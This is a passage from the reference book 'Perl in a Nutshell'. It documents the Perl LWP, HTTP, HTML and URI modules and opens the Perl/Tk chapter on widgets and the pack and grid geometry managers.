  • as_string
  • delay
  • host_wait
  • no_visits
  • rules

17.2.2 LWP::Simple

LWP::Simple provides an easy-to-use interface for creating a web client, although it is only capable of performing basic retrieving functions. An object constructor is not used for this class; it defines functions to retrieve information from a specified URL and interpret the status codes from the requests.

This module isn't named Simple for nothing. The following lines show how to use it to get a web page and save it to a file:

use LWP::Simple;

$homepage = 'oreilly_com.html';
$status = getstore('http://www.oreilly.com/', $homepage);
print("hooray") if is_success($status);
The retrieving functions get and head return the URL's contents and header contents respectively. The other retrieving functions return the HTTP status code of the request. The status codes are returned as the constants from the HTTP::Status module, which is also where the is_success and is_failure methods are obtained. See Section 17.3.4, "HTTP::Status" later in this chapter for a listing of the response codes.

The user-agent identifier produced by LWP::Simple is LWP::Simple/n.nn, where n.nn is the version number of LWP being used.

The following list describes the functions exported by LWP::Simple:

  • get
  • getprint
  • getstore
  • head
  • is_error
  • is_success
  • mirror

17.2.3 LWP::UserAgent

Requests over the network are performed with LWP::UserAgent objects. To create an LWP::UserAgent object, use:

$ua = new LWP::UserAgent;
You give the object a request, which it uses to contact the server, and the information you requested is returned. The most often used method in this module is request, which contacts a server and returns the result of your query. Other methods in this module change the way request behaves. You can change the timeout value, customize the value of the User-Agent header, or use a proxy server.

The following methods are supplied by LWP::UserAgent:

  • request
  • agent
  • clone
  • cookie_jar
  • credentials
  • env_proxy
  • from
  • get_basic_credentials
  • is_protocol_supported
  • max_size
  • mirror
  • no_proxy
  • parse_head
  • proxy
  • timeout
  • use_alarm

Previous: 17.1 LWP Overview | Perl in a Nutshell | Next: 17.3 The HTTP Modules
17.1 LWP Overview | Book Index | 17.3 The HTTP Modules


[Chapter 17] 17.3 The HTTP Modules

Perl in a Nutshell

Perl in a NutshellSearch this book

17.3 The HTTP Modules

The HTTP modules implement an interface to the HTTP messaging protocol used in web transactions. Its most useful modules are HTTP::Request and HTTP::Response, which create objects for client requests and server responses. Other modules provide means for manipulating headers, interpreting server response codes, managing cookies, converting date formats, and creating basic server applications.

Client applications created with LWP::UserAgent use HTTP::Request objects to create and send requests to servers. The information returned from a server is saved as an HTTP::Response object. Both of these objects are subclasses of HTTP::Message, which provides general methods of creating and modifying HTTP messages. The header information included in HTTP messages can be represented by objects of the HTTP::Headers class.

HTTP::Status includes functions to classify response codes into the categories of informational, successful, redirection, error, client error, or server error. It also exports symbolic aliases of HTTP response codes; one could refer to the status code of 200 as RC_OK and refer to 404 as RC_NOT_FOUND.

The HTTP::Date module converts date strings from and to machine time. The HTTP::Daemon module can be used to create webserver applications, utilizing the functionality of the rest of the LWP modules to communicate with clients.

17.3.1 HTTP::Request

This module summarizes a web client's request. For a simple GET request, you define an object with the GET method and assign a URL to apply it to. Basic headers would be filled in automatically by LWP. For a POST or PUT request, you might want to specify a custom HTTP::Headers object for the request, or use the contents of a file for an entity body. Since HTTP::Request inherits everything in HTTP::Message, you can use the header and entity body manipulation methods from HTTP::Message in HTTP::Request objects.

The constructor for HTTP::Request looks like this:

$req = http::Request->new (method, url, [$header, [content]]);
The method and URL values for the request are required parameters. The header and content arguments are not required, nor even necessary for all requests. The parameters are described as follows:

method

A string specifying the HTTP request method. GET, HEAD, and POST are the most commonly used. Other methods defined in the HTTP specification such as PUT and DELETE are not supported by most servers.

url

The address and resource name of the information you are requesting. This argument may be either a string containing an absolute URL (the hostname is required), or a URI::URL object that stores all the information about the URL.

$header

A reference to an HTTP::Headers object.

content

A scalar that specifies the entity body of the request. If omitted, the entity body is empty.

The following methods can be used on HTTP::Request objects:

  • as_string
  • method
  • url

17.3.2 HTTP::Response

Responses from a web server are described by HTTP::Response objects. An HTTP response message contains a status line, headers, and any content data that was requested by the client (like an HTML file). The status line is the minimum requirement for a response. It contains the version of HTTP that the server is running, a status code indicating the success, failure, or other condition the request received from the server, and a short message describing the status code.

If LWP has problems fulfilling your request, it internally generates an HTTP::Response object and fills in an appropriate response code. In the context of web client programming, you'll usually get an HTTP::Response object from LWP::UserAgent and LWP::RobotUA.

If you plan to write extensions to LWP or to a web server or proxy server, you might use HTTP::Response to generate your own responses.

The constructor for HTTP::Response looks like this:

$resp = HTTP::Response->new (rc, [msg, [header, [content]]]);
In its simplest form, an HTTP::Response object can contain just a response code. If you would like to specify a more detailed message than "OK" or "Not found," you can specify a text description of the response code as the second parameter. As a third parameter, you can pass a reference to an HTTP::Headers object to specify the response headers. Finally, you can also include an entity body in the fourth parameter as a scalar.

For client applications, it is unlikely that you will build your own response object with the constructor for this class. You receive a client object when you use the request method on an LWP::UserAgent object, for example:

$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET, $url)
$resp = $ua->request($req);
The server's response is contained in the object $resp. When you have this object, you can use the HTTP::Response methods to get the information about the response. Since HTTP::Response is a subclass of HTTP::Message, you can also use methods from that class on response objects. See Section 17.3.8, "HTTP::Message" later in this chapter for a description of its methods.

The following methods can be used on objects created by HTTP::Response:

  • as_string
  • base
  • code
  • current_age
  • error_as_HTML
  • freshness_lifetime
  • fresh_until
  • is_error
  • is_fresh
  • is_info
  • is_redirect
  • is_success
  • message

17.3.3 HTTP::Headers

This module deals with HTTP header definition and manipulation. You can use these methods on HTTP::Request and HTTP::Response objects to retrieve headers they contain, or to set new headers and values for new objects you are building.

The constructor for an HTTP::Headers object looks like this:

$h = HTTP::Headers->new([name => val],...);
This code creates a new headers object. You can set headers in the constructor by providing a header name and its value. Multiple name=>val pairs can be used to set multiple headers.

The following methods can be used by objects in the HTTP::Headers class. These methods can also be used on objects from HTTP::Request and HTTP::Response, since they inherit from HTTP::Headers. In fact, most header manipulation will occur on the request and response objects in LWP applications.

  • clone
  • header
  • push_header
  • remove_header
  • scan

The HTTP::Headers class allows you to use a number of convenience methods on header objects to set (or read) common field values. If you supply a value for an argument, that value will be set for the field. The previous value for the header is always returned. The following methods are available:

date
expires
if_modified_since
if_unmodified_since
last_modified
content_type
content_encoding
content_length
content_language
title
user_agent
server
from
referrer
www_authenticate
proxy_authenticate
authorization
proxy_authorization
authorization_basic
proxy_authorization_basic

17.3.4 HTTP::Status

This module provides methods to determine the type of a response code. It also exports a list of mnemonics that can be used by the programmer to refer to a status code.

The following methods are used on response objects:

is_info

Returns true when the response code is 100 through 199.

is_success

Returns true when the response code is 200 through 299.

is_redirect

Returns true when the response code is 300 through 399.

is_client_error

Returns true when the response code is 400 through 499.

is_server_error

Returns true when the response code is 500 through 599.

is_error

Returns true when the response code is 400 through 599. When an error occurs, you might want to use error_as_HTML to generate an HTML explanation of the error.

HTTP::Status exports the following constant functions for you to use as mnemonic substitutes for status codes. For example, you could do something like:

if ($rc = RC_OK) {....}
Here are the mnemonics, followed by the status codes they represent:
RC_CONTINUE (100)
RC_SWITCHING_PROTOCOLS (101)
RC_OK (200)
RC_CREATED (201)
RC_ACCEPTED (202)
RC_NON_AUTHORITATIVE_INFORMATION (203)
RC_NO_CONTENT (204)
RC_RESET_CONTENT (205)
RC_PARTIAL_CONTENT (206)
RC_MULTIPLE_CHOICES (300)
RC_MOVED_PERMANENTLY (301)
RC_MOVED_TEMPORARILY (302)
RC_SEE_OTHER (303)
RC_NOT_MODIFIED (304)
RC_USE_PROXY (305)
RC_BAD_REQUEST (400)
RC_UNAUTHORIZED (401)
RC_PAYMENT_REQUIRED (402)
RC_FORBIDDEN (403)
RC_NOT_FOUND (404)
RC_METHOD_NOT_ALLOWED (405)
RC_NOT_ACCEPTABLE (406)
RC_PROXY_AUTHENTICATION_REQUIRED (407)
RC_REQUEST_TIMEOUT (408)
RC_CONFLICT (409)
RC_GONE (410)
RC_LENGTH_REQUIRED (411)
RC_PRECONDITION_FAILED (412)
RC_REQUEST_ENTITY_TOO_LARGE (413)
RC_REQUEST_URI_TOO_LARGE (414)
RC_UNSUPPORTED_MEDIA_TYPE (415)
RC_REQUEST_RANGE_NOT_SATISFIABLE (416)
RC_INTERNAL_SERVER_ERROR (500)
RC_NOT_IMPLEMENTED (501)
RC_BAD_GATEWAY (502)
RC_SERVICE_UNAVAILABLE (503)
RC_GATEWAY_TIMEOUT (504)
RC_HTTP_VERSION_NOT_SUPPORTED (505)

17.3.5 HTTP::Date

The HTTP::Date module is useful when you want to process a date string. It exports two functions that convert date strings to and from standard time formats:

  • time2str
  • str2time

17.3.6 HTTP::Cookies

HTTP cookies provide a mechanism for preserving information about a client or user across several different visits to a site or page. The "cookie" is a name-value pair sent to the client on its initial visit to a page. This cookie is stored by the client and sent back in the request upon revisit to the same page.

A server initializes a cookie with the Set-Cookie header. Set-Cookie sets the name and value of a cookie, as well as other parameters such as how long the cookie is valid and the range of URLs to which the cookie applies. Each cookie (a single name-value pair) is sent in its own Set-Cookie header, so if there is more than one cookie being sent to a client, multiple Set-Cookie headers are sent in the response. Two Set-Cookie headers may be used in server responses: Set-Cookie is defined in the original Netscape cookie specification, and Set-Cookie2 is the latest, IETF-defined header. Both header styles are supported by HTTP::Cookies. The latest browsers also support both styles.

If a client visits a page for which it has a valid cookie stored, the client sends the cookie in the request with the Cookie header. This header's value contains any name-value pairs that apply to the URL. Multiple cookies are separated by semicolons in the header.

The HTTP::Cookies module is used to retrieve, return, and manage the cookies used by an LWP::UserAgent client application. Setting cookies from LWP-created server requires only the coding of the proper response headers sent by an HTTP::Daemon server application. HTTP::Cookies is not designed to be used in setting cookies on the server side, although you may find use for it in managing sent cookies.

The new constructor for HTTP::Cookies creates an object called a cookie jar, which represents a collection of saved cookies usually read from a file. Methods on the cookie jar object allow you to add new cookies or to send cookie information in a client request to a specific URL. The constructor may take optional parameters, as shown in the following example:

$cjar = HTTP::Cookies->new( file => 'cookies.txt',
                            autosave => 1,
                            ignore_discard => 0 );
The cookie jar object $cjar created here contains any cookie information stored in the file cookies.txt. The autosave parameter takes a boolean value which determines if the state of the cookie jar is saved to the file upon destruction of the object. ignore_discard also takes a boolean value to determine if cookies marked to be discarded are still saved to the file.

Cookies received by a client are added to the cookie jar with the extract_cookies method. This method searches an HTTP::Response object for Set-Cookie and Set-Cookie2 headers and adds them to the cookie jar. Cookies are sent in a client request using the add-cookie-header method. This method takes an HTTP::Request object with the URL component already set, and if the URL matches any entries in the cookie jar, adds the appropriate Cookie headers to the request.

These methods can be used on a cookie jar object created by HTTP::Cookies:

  • add_cookie_header
  • as_string
  • clear
  • extract_cookies
  • load
  • revert
  • save
  • set_cookie
  • scan

17.3.6.1 HTTP::Cookies::Netscape

The HTTP::Cookies class contains one subclass that supports Netscape-style cookies within a cookie jar object. Netscape-style cookies were defined in the original cookie specification for Navigator 1.1, which outlined the syntax for the Cookie and Set-Cookie HTTP headers. Netscape cookie headers are different from the newer Set-Cookie2-style cookies in that they don't support as many additional parameters when a cookie is set. The Cookie header also does not use a version-number attribute. Many browsers and servers still use the original Netscape cookies, and the Netscape subclass of HTTP::Cookies can be used to support this style.

The new constructor for this subclass creates a Netscape-compatible cookie jar object like this:

$njar = HTTP::Cookies::Netscape->new(
                  File     => "$ENV{HOME}/.netscape/cookies",
                  AutoSave => 1 );
The methods described above can be used on this object, although many of the parameters used in Set-Cookie2 headers will simply be lost when cookies are saved to the cookie jar.

17.3.7 HTTP::Daemon

The HTTP::Daemon module creates HTTP server applications. The module provides objects based on the IO::Socket::INET class that can listen on a socket for client requests and send server responses. The objects implemented by the module are HTTP 1.1 servers. Client requests are stored as HTTP::Request objects, and all the methods for that class can be used to obtain information about the request. HTTP::Response objects can be used to send information back to the client.

An HTTP::Daemon object is created by using the new constructor. Since the base class for this object is IO::Socket::INET, the parameters used in that class's constructor are the same here. For example:

$d = HTTP::Daemon->new ( LocalAddr => 'maude.oreilly.com',
                         LocalPort => 8888,
                         Listen => 5 );
The HTTP::Daemon object is a server socket that automatically listens for requests on the specified port (or on the default port if none is given). When a client request is received, the object uses the accept method to create a connection with the client on the network.
$d = HTTP::Daemon->new;
while ( $c = $d->accept ) {
     $req = $c->get_request;
     # process request and send response here
     }
$c = undef;   # don't forget to close the socket
The accept method returns a reference to a new object of the HTTP::Daemon::ClientConn class. This class is also based on IO::Socket::INET and is used to extract the request message and send the response and any requested file content.

The sockets created by both HTTP::Daemon and HTTP::Daemon::ClientConn work the same way as those in IO::Socket::INET. The methods are also the same except for some slight variations in usage. The methods for the HTTP::Daemon classes are listed in the sections below and include the adjusted IO::Socket::INET methods. For more detailed information about sockets and the IO::Socket classes and methods, see Chapter 13.

The following methods can be used on HTTP::Daemon objects:

  • accept
  • url
  • product_tokens

17.3.7.1 HTTP::Daemon::ClientConn methods

The following methods can be used on HTTP::Daemon::ClientConn objects:

  • get_request
  • antique_client
  • send_status_line
  • send_basic_header
  • send_response
  • send_redirect
  • send_error
  • send_file_response
  • send_file
  • daemon

17.3.8 HTTP::Message

HTTP::Message is the generic base-class for HTTP::Request and HTTP::Response. It provides a couple of methods that are used on both classes. The constructor for this class is used internally by the Request and Response classes, so you will probably not need to use it. Methods defined by the HTTP::Headers class will also work on Message objects.

  • add_content
  • clone
  • content
  • content_ref
  • headers
  • protocol

Previous: 17.2 The LWP Modules | Perl in a Nutshell | Next: 17.4 The HTML Module
17.2 The LWP Modules | Book Index | 17.4 The HTML Module


[Chapter 17] 17.4 The HTML Module

Perl in a Nutshell

Perl in a NutshellSearch this book

17.4 The HTML Module

The HTML modules provide an interface to parse HTML documents. After you parse the document, you can print or display it according to the markup tags, or you can extract specific information such as hyperlinks.

The HTML::Parser module provides the base class for the usable HTML modules. It provides methods for reading in HTML text from either a string or a file and then separating out the syntactic structures and data. As a base class, Parser does virtually nothing on its own. The other modules call it internally and override its empty methods for their own purposes. However, the HTML::Parser class is useful to you if you want to write your own classes for parsing and formatting HTML.

HTML::TreeBuilder is a class that parses HTML into a syntax tree. In a syntax tree, each element of the HTML, such as container elements with beginning and end tags, is stored relative to other elements. This preserves the nested structure and behavior of HTML and its hierarchy.

A syntax tree of the TreeBuilder class is formed of connected nodes that represent each element of the HTML document. These nodes are saved as objects from the HTML::Element class. An HTML::Element object stores all the information from an HTML tag: the start tag, end tag, attributes, plain text, and pointers to any nested elements.

The remaining classes of the HTML modules use the syntax trees and its nodes of element objects to output useful information from the HTML documents. The format classes, such as HTML::FormatText and HTML::FormatPS, allow you to produce text and PostScript from HTML. The HTML::LinkExtor class extracts all of the links from a document. Additional modules provide means for replacing HTML character entities and implementing HTML tags as subroutines.

17.4.1 HTML::Parser

This module implements the base class for the other HTML modules. A parser object is created with the new constructor:

$p = HTML::Parser->new();
The constructor takes no arguments.

The parser object takes methods that read in HTML either from a string or a file. The string-reading method can take data as several smaller chunks if the HTML is too big. Each chunk of HTML will be appended to the object, and the eof method indicates the end of the document. These basic methods are described below.

  • parse
  • parse_file
  • eof

When the parse or parse_file method is called, it parses the incoming HTML with a few internal methods. In HTML::Parser, these methods are defined, but empty. Additional HTML parsing classes (included in the HTML modules or ones you write yourself) override these methods for their own purposes. For example:

package HTML::MyParser;
require HTML::Parser;
@ISA=qw(HTML::MyParser);

sub start {
     your subroutine defined here
     }
The following list shows the internal methods contained in HTML::Parser:

  • comment
  • declaration
  • end
  • start
  • text

17.4.2 HTML::Element

The HTML::Element module provides methods for dealing with nodes in an HTML syntax tree. You can get or set the contents of each node, traverse the tree, and delete a node.

HTML::Element objects are used to represent elements of HTML. These elements include start and end tags, attributes, contained plain text, and other nested elements.

The constructor for this class requires the name of the tag for its first argument. You may optionally specify initial attributes and values as hash elements in the constructor. For example:

$h = HTML::Element->new('a', 'href' => 'http://www.oreilly.com');
The new element is created for the anchor tag, <a>, which links to the URL through its href attribute.

The following methods are provided for objects of the HTML::Element class:

  • as_HTML
  • attr
  • content
  • delete
  • delete_content
  • dump
  • endtag
  • extract_links
  • implicit
  • insert_element
  • is_empty
  • is_inside
  • parent
  • pos
  • push_content
  • starttag
  • tag
  • traverse

17.4.3 HTML::TreeBuilder

The HTML::TreeBuilder class provides a parser that creates an HTML syntax tree. Each node of the tree is an HTML::Element object. This class inherits both HTML::Parser and HTML::Elements, so methods from both of those classes can be used on its objects.

The methods provided by HTML::TreeBuilder control how the parsing is performed. Values for these methods are set by providing a boolean value for their arguments. Here are the methods:

  • implicit_tags
  • ignore_unknown
  • ignore_text
  • warn

17.4.4 HTML::FormatPS

The HTML::FormatPS module converts an HTML parse tree into PostScript. The formatter object is created with the new constructor, which can take parameters that assign PostScript attributes. For example:

$formatter = new HTML::FormatPS('papersize' => 'Letter');
You can now give parsed HTML to the formatter and produce PostScript output for printing. HTML::FormatPS does not handle table or form elements at this time.

The method for this class is format. format takes a reference to an HTML TreeBuilder object, representing a parsed HTML document. It returns a scalar containing the document formatted in PostScript. The following example shows how to use this module to print a file in PostScript:

use HTML::FormatPS;

$html = HTML::TreeBuilder->parse_file(somefile);
$formatter = new HTML::FormatPS;
print $formatter->format($html);
The following list describes the attributes that can be set in the constructor:

PaperSize

Possible values of 3, A4, A5, B4, B5, Letter, Legal, Executive, Tabloid, Statement, Folio, 10x14, and Quarto. The default is A4.

PaperWidth

Width of the paper in points.

PaperHeight

Height of the paper in points.

LeftMargin

Left margin in points.

RightMargin

Right margin in points.

HorizontalMargin

Left and right margin. Default is 4 cm.

TopMargin

Top margin in points.

BottomMargin

Bottom margin in points.

VerticalMargin

Top and bottom margin. Default is 2 cm.

PageNo

Boolean value to display page numbers. Default is 0 (off).

FontFamily

Font family to use on the page. Possible values are Courier, Helvetica, and Times. Default is Times.

FontScale

Scale factor for the font.

Leading

Space between lines, as a factor of the font size. Default is 0.1.

17.4.5 HTML::FormatText

The HTML::FormatText takes a parsed HTML file and outputs a plain text version of it. None of the character attributes will be usable, i.e., bold or italic fonts, font sizes, etc.

This module is similar to FormatPS in that the constructor takes attributes for formatting, and the format method produces the output. A formatter object can be constructed like this:

$formatter = new HTML::FormatText (leftmargin => 10, rightmargin => 80);
The constructor can take two parameters: leftmargin and rightmargin. The value for the margins is given in column numbers. The aliases lm and rm can also be used.

The format method takes an HTML::TreeBuilder object and returns a scalar containing the formatted text. You can print it with:

print $formatter->format($html);

Previous: 17.3 The HTTP Modules | Perl in a Nutshell | Next: 17.5 The URI Module
17.3 The HTTP Modules | Book Index | 17.5 The URI Module


[Chapter 17] 17.5 The URI Module

Perl in a Nutshell

Perl in a NutshellSearch this book

17.5 The URI Module

The URI module contains functions and modules to specify and convert URIs. (URLs are a type of URI.) There are three URI modules: URL, Escape, and Heuristic. Of primary importance to many LWP applications is the URI::URL class, which creates the objects used by LWP::UserAgent to determine protocols, server locations, and resource names.

The URI::Escape module replaces unsafe characters in URL strings with their appropriate escape sequences. URI::Heuristic provides convenience methods for creating proper URLs out of short strings and incomplete addresses.

17.5.1 URI::Escape

This module escapes or unescapes "unsafe" characters within a URL string. Unsafe characters in URLs are described by RFC 1738. Before you form URI::URL objects and use that class's methods, you should make sure your strings are properly escaped. This module does not create its own objects; it exports the following functions:

  • uri_escape
  • uri_unescape

17.5.2 URI::URL

This module creates URL objects that store all the elements of a URL. These objects are used by the request method of LWP::UserAgent for server addresses, port numbers, file names, protocol, and many of the other elements that can be loaded into a URL.

The new constructor is used to make a URI::URL object:

$url = new URI::URL($url_string [, $base_url])
This method creates a new URI::URL object with the URL given as the first parameter. An optional base URL can be specified as the second parameter and is useful for generating an absolute URL from a relative URL.

The following list describes the methods for the URI::URL class:

  • abs
  • as_string
  • base
  • crack
  • default_port
  • eparams
  • epath
  • eq
  • equery
  • frag
  • full_path
  • host
  • netloc
  • params
  • password
  • path
  • port
  • query
  • rel
  • scheme
  • strict
  • user

Previous: 17.4 The HTML Module | Perl in a Nutshell | Next: VII. Perl/Tk
17.4 The HTML Module | Book Index | VII. Perl/Tk


[Chapter 18] Perl/Tk

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: VII. Perl/Tk Chapter 18 Next: 18.2 Geometry Managers

18. Perl/Tk

Contents:
Widgets
Geometry Managers
Common Widget Configuration Options
The Button Widget
The Checkbutton Widget
The Radiobutton Widget
The Label Widget
The Entry Widget
The Scrollbar Widget
The Listbox Widget
The Text Widget
The Canvas Widget
The Scale Widget
The Menubutton Widget
The Menu Widget
The Optionmenu Widget
The Frame Widget
The Toplevel Widget

Perl/Tk is an extension for writing Perl programs with a Graphical User Interface (GUI) on both Unix and Windows 95/NT. Tk was originally developed as an extension to the Tcl language, for use with the X Window System on Unix. With its port to Perl, Tk gives Perl programmers the same control over the graphical desktop that Tcl programmers have taken for granted.

The Tk extension makes it easy to draw a window, put widgets into it (such as buttons, checkboxes, entry fields, menus, etc.) and have them perform certain actions based on user input. A simple "Hello World" program would look like this:

#!/usr/bin/perl -w
use Tk;
my $mw = MainWindow->new;
$mw->Button(-text => "Hello World!", -command =>sub{exit})->pack;
MainLoop;
When you run it, it would look like Figure 18.1.

Figure 18.1: A simple Perl/Tk program

Figure 18.1

Pushing the "Hello World!" button exits the program, and your window disappears.

Let's walk through these few lines of code. After calling the Perl interpreter, the program calls the Tk module. Then it proceeds to build a generic, standard window (MainWindow) to act as a parent for any other widgets you create. Line 4 of the program creates a button and displays it using the pack geometry manager. It also gives the button something to do when pushed (in this case, exit the program).

The very last line tells the program to "go do it." MainLoop starts the event handler for the graphical interface, and the program draws any windows until it reaches the MainLoop statement. Everything up to that point is preparation; until you reach the MainLoop statement, the program simply prepares its windows and defines what to do when certain events happen (such as a mouse click on the "Hello World!" button). Nothing is drawn until the MainLoop statement is reached.

18.1 Widgets

Widgets in Perl/Tk are created with widget creation commands, which include Button, Canvas, CheckButton, Entry, Frame, Label, Listbox, Menu, Menubutton, Message, Radiobutton, Scale, Scrollbar, Text, and Toplevel.

Positioning widgets is done with geometry managers. In the "Hello World" example shown earlier, the pack command is the geometry manager. Geometry managers determine where in the window (or frame) the widget will sit. We'll talk more about the Perl/Tk geometry managers later in this chapter.

18.1.1 Widget Methods

Widgets can be configured, queried, or manipulated via various widget methods. For example, all widgets support the configure widget method for changing widget properties after the widget is created. In addition, most widgets have specialized methods associated with them for manipulating the widget as needed throughout the program. For example, widgets that scroll support the xview and yview methods for determining the viewable portion of the content when the scrollbar is moved. The Entry and Text widgets have methods for inserting and deleting values. The Canvas widget has a whole series of methods for drawing shapes and inserting text into the canvas. And so on.

Widget methods are listed in the discussion of each widget later in this chapter. However, since all widgets support the configure and cget methods, we're going to cover them now.

18.1.1.1 The configure method

The configure method can be used to set and retrieve widget configuration values. For example, to change the width of a button:

$button->configure(-width => 100);
To get the value for a current widget, just supply it without a value:
$button->configure(-width);
The result is an array of scalars; the values you care about are the last two, which represent the default value and its current value, respectively.

You can also call configure without any options at all, which will give you a listing of all options and their values.

18.1.1.2 The cget method

For simply retrieving the value of an option, configure returns more information than you generally want. The cget method returns just the current value.

18.1.2 Scrollbars

Many widgets have scrollbars associated with them. Scrollbars can be added to a widget in two ways: either using an independent Scrollbar widget or using the Scrolled method when creating a widget. For simple scrollbars, the Scrolled method is much easier and therefore preferable.

18.1.2.1 Using the Scrolled method

You use the Scrolled method to create both the widget and the scrollbar in a single command. For example:

$mainwindow->Scrolled('Entry', -scrollbars => 'os'
    -textvariable => \$address)->pack;
This creates an Entry widget with an "optional" scrollbar on the bottom. The first argument to Scrolled is the type of widget (in this case, an Entry widget). Then use the -scrollbars option to list the location of the scrollbar ("s" for the south, or bottom, edge of the widget). Here, we specify an "optional" scrollbar with "o", meaning that the scrollbar will only appear if needed.

Any additional options to the Scrolled method are taken as options to the widget itself. In this case, we're setting the -textvariable option to the Entry widget.

18.1.2.2 The Scrollbar widget

For more flexibility with a scrollbar, you can use the Scrollbar widget. To do so, you need to create the target widget to scroll, set the -xscrollcommand or -yscrollcommand option as appropriate, configure the scrollbar to talk to the widget, and position the scrollbar and target widget next to one another. For example:

$scrollbar = $mainwindow->Scrollbar(-orient => 'vertical');
$listbox = $mainwindow->Entry(-yscrollcommand => ['set' => $scrollbar]);
$scrollbar->configure(-command => ['yview' => $listbox]);
$scrollbar->pack(-side => 'right', -fill => 'y');
$listbox->pack(-side => 'left', -fill => 'both');
First, we create the scrollbar with vertical orientation (which is actually the default). Next, we create the Listbox widget with the -yscrollcommand option to define a callback when the widget is scrolled vertically. The scrollbar is then configured with a callback that says to inform the Listbox widget when it is clicked vertically. Finally, the Scrollbar and Listbox widgets are packed side-by-side. See further discussion of the Scrollbar widget later in this chapter for more information.

18.1.3 Callbacks

Many widgets allow you to define a callback, which is a command to execute when the widget is selected. For example, when you press an exit button, the callback might be to a routine that cleans up and quits the program. When you click on a radio button, you might want to change the window to reflect the new preferences.

Widgets that support callbacks have a -command option to provide the callback function. In the "Hello World!" example shown previously in this chapter, the callback is to sub {exit}. In that example, the callback is called as an anonymous subroutine. You could also use a reference to a subroutine (e.g., \&routine). If you want to provide arguments to a subroutine, you can call it as an anonymous list (e.g., [ \&routine, $arg, $arg, ... ]).

18.1.4 Colors and Fonts

Tk was originally created for the X Window System and is still primarily used in that environment. For that reason, it has inherited the font and color scheme used for the X Window System.

Colors that can be used with Tk widgets are identified either by an RGB value or by a name that has been associated with an RGB value. In general it is easiest to use a color name rather than an explicit RGB value; for a listing of the color names that are supported, see the rgb.txt file in your X distribution or use the showrgb command. (Most common color names are supported, so you can say things like "red," "pink," "green," and even "chartreuse" with confidence.)

Fonts are another matter. Under the X Window System, fonts are named things like -adobe-helvetica-medium-o-normal--12-120-75-75-p-67-iso8859-1. Wildcards can make the fonts easier to use, but they're still a mouthful. For a listing of fonts available for a particular X server, use the xlsfonts command. There are a few font "aliases" that have been defined for your convenience (such as fixed, 6x10, 9x15, etc.), and you might prefer to just stick to those.

Previous: VII. Perl/Tk | Perl in a Nutshell | Next: 18.2 Geometry Managers
VII. Perl/Tk | Book Index | 18.2 Geometry Managers


[Chapter 18] 18.2 Geometry Managers

Perl in a Nutshell

Perl in a NutshellSearch this book

18.2 Geometry Managers

Creating widgets and determining how to display them are done with separate commands. You can create a widget with one of the widget creation methods (such as Button, Canvas, etc.), but you display them using a geometry manager. The three geometry managers are pack, grid, and place. pack is by far the most commonly used.

You can either pack a widget as you create it, or you can create the widget object and pack it separately. For example, the previous "Hello World!" example might have read:

#!/usr/bin/perl -w
use Tk;
my $mw = MainWindow->new;
$button = $mw->Button(-text => "Hello World!", -command =>sub{exit});
$button->pack;
MainLoop;

18.2.1 The pack Geometry Manager

With the pack geometry manager, widgets cannot overlap or cover each other, either partially or completely. Once a widget is packed into a window, the next widget is packed in the remaining space around it. pack sets up an "allocation rectangle" for each widget, determined by the dimensions of the parent window and the positioning of the widgets already packed into it. This means that the order in which you pack your widgets is very important.

By default, pack places widgets at the top center of the allocation rectangle. However, you can use options to pack to control where a widget is placed and how much padding is placed around it. Options for pack are:

-side => side

Puts the widget against the specified side of the window. Values for side are 'left', 'right', 'top', and 'bottom'. The default is 'top'.

-fill => direction

Causes the widget to fill the allocation rectangle in the specified direction. Values for direction are 'none', 'x', 'y', and 'both'. The default is 'none'.

-expand => boolean

Causes the allocation rectangle to fill the remaining space available in the window. Values are 'yes', 'no', 1, and 0. The default is 0 ('no').

-anchor => position

Anchors the widget inside the allocation rectangle. Values for position are 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw', and 'center'. The default is 'center'.

-after => $widget

Puts the widget after another widget in packing order.

-before => $widget

Puts the widget before another widget in packing order.

-in => $window

Packs the widget inside another window rather than inside its parent.

-ipadx => amount

Increases the size of the widget horizontally by amount * 2. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-ipady => amount

Increases the size of the widget vertically by amount * 2. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-padx => amount

Places padding on the left and right of the widget. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-pady amount

Places padding on the top and bottom of the widget. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

18.2.1.1 Pack methods

The following methods are associated with pack:

packForget

Causes a widget to be removed from view.

$widget->packForget;
The widget is not destroyed, but is no longer managed by pack. The widget is removed from the packing order, so if it were repacked later, it would appear at the end of the packing order.

packInfo

Returns a list containing all pack information about that widget.

$info = $widget->packInfo;

packPropagate

Suppresses automatic resizing of a Toplevel or Frame widget to accommodate items packed inside of it. The following line turns off automatic resizing:

$widget->packPropagate(0);

packSlaves

Returns an ordered list of all the widgets packed into the parent widget.

$children = $widget->packSlaves;

18.2.2 The grid Geometry Manager

The grid geometry manager divides the window into a grid composed of columns and rows starting at 0,0 in the upper left-hand corner. The resulting grid resembles a spreadsheet, with each widget assigned a cell according to the options to grid. To create a grid, create a frame that is packed inside the parent window and then grid the widgets within the frame.

You can specify explicit rows and columns using options to grid. However, if several widgets are meant to appear in the same row, you can use a single grid command with a list of widgets rather than calling grid for each one. The first widget invokes the grid command, and all other widgets for that column are specified as options to grid. Any subsequent grid commands increment the row by one and start again.

You can use special characters as placeholders:

- (minus sign)

The previous widget should span this column as well. May not follow ^ or x.

x

Leave a blank space.

^

The widget above this one (same column, previous row) should span this row.

Options to grid are:

-column => n

The column in which to place the widget. n is any integer >= 0.

-row => m

The row in which to place the widget. m is any integer >= 0.

-columnspan => n

The number of columns for the widget to span, beginning with the column specified with -column. n is any integer > 0.

-rowspan => m

The number of rows for the widget to span, beginning with the column specified with -row. m is any integer > 0.

-sticky => sides

Stick widget to specified side(s). sides contains characters n, s, e, or w.

-in => $window

Grid widget inside another window instead of its parent.

-ipadx => amount

Increases the size of the widget horizontally by amount * 2. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-ipady => amount

Increases the size of the widget vertically by amount * 2. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-padx => amount

